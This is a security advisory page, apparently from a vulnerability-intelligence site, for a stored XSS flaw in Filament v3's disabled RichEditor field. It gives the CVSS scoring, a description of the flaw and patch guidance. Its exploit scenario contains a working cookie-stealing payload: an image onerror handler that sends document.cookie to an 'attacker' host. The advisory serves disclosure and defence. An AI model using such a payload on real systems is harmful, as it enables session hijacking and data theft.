Filament CVE-2026-55409
HIGH
GHSA-m9cv-24rx-8mv7
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Network-reachable stored XSS requiring a low-privileged author (PR:L) and a victim viewing the disabled form (UI:R); script in victim's browser yields scope change with high confidentiality and limited integrity impact.
Primary rating from Vendor (https://github.com/filamentphp/filament).
CVSS VectorVendor: https://github.com/filamentphp/filament
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Lifecycle Timeline
2DescriptionCVE.org
In Filament v3, a disabled RichEditor field rendered its raw state without sanitizing HTML. Where the data stored in this field's state isn't sanitized already when the form state was filled, an attacker could plant malicious HTML or JavaScript and achieve XSS that executes for users who view the form.
Please note that Filament v4 and above does not use the same mechanism for rendering a disabled RichEditor so this advisory does not apply.
AnalysisAI
Stored XSS in Filament v3 PHP admin panel framework occurs when a RichEditor form field is rendered in disabled mode, because the disabled view binds raw state via Alpine's x-html directive without HTML sanitization. Authenticated attackers who can write into the underlying field state can plant HTML or JavaScript that executes in the browser of any user later viewing the form, with no public exploit identified at time of analysis and no KEV listing.
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the Filament v3 application to render a RichEditor form field with the ->disabled() modifier (the vulnerable Blade branch is only used in that disabled view), and an attacker capable of writing unsanitized HTML into that field's underlying state - typically via another Filament form, an API, or a database path that doesn't already sanitize. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N reflects a network-reachable stored XSS that needs a low-privileged author plus a victim viewing the disabled form, with a scope change because script runs in the victim's browser session. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A low-privileged content author in a Filament v3 admin panel saves a RichEditor field containing a payload such as <img src=x onerror="fetch('https://attacker/exfil?c='+document.cookie)">. Later, an administrator opens a resource view where the same field is rendered with ->disabled(), the Alpine x-html binding evaluates the stored markup, and the payload executes in the admin's authenticated session to steal cookies or perform CSRF-style actions. … |
| Remediation | Vendor-released patch: Filament 3.3.53 - upgrade filamentphp/filament (and the forms sub-package) via composer update filamentphp/filament:^3.3.53, referencing the release at https://github.com/filamentphp/filament/releases/tag/v3.3.53 and the fix in https://github.com/filamentphp/filament/pull/20029. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: inventory all Filament v3 deployments and identify RichEditor usage in admin interfaces; audit which users have write access to form fields. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today